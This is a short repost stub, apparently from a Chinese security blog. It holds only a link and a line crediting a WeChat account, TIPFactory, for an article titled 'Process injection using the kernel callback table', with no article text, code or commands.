https://jentletao.top/2024/11/12/%E4%BD%BF%E7%94%A8%E5%86%85%E6%A0%B8%E5%9B%9E%E8%B0%83%E8%A1%A8%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/https://jentletao.top/
原文始发于微信公众号(TIPFactory情报工厂):使用内核回调表进程注入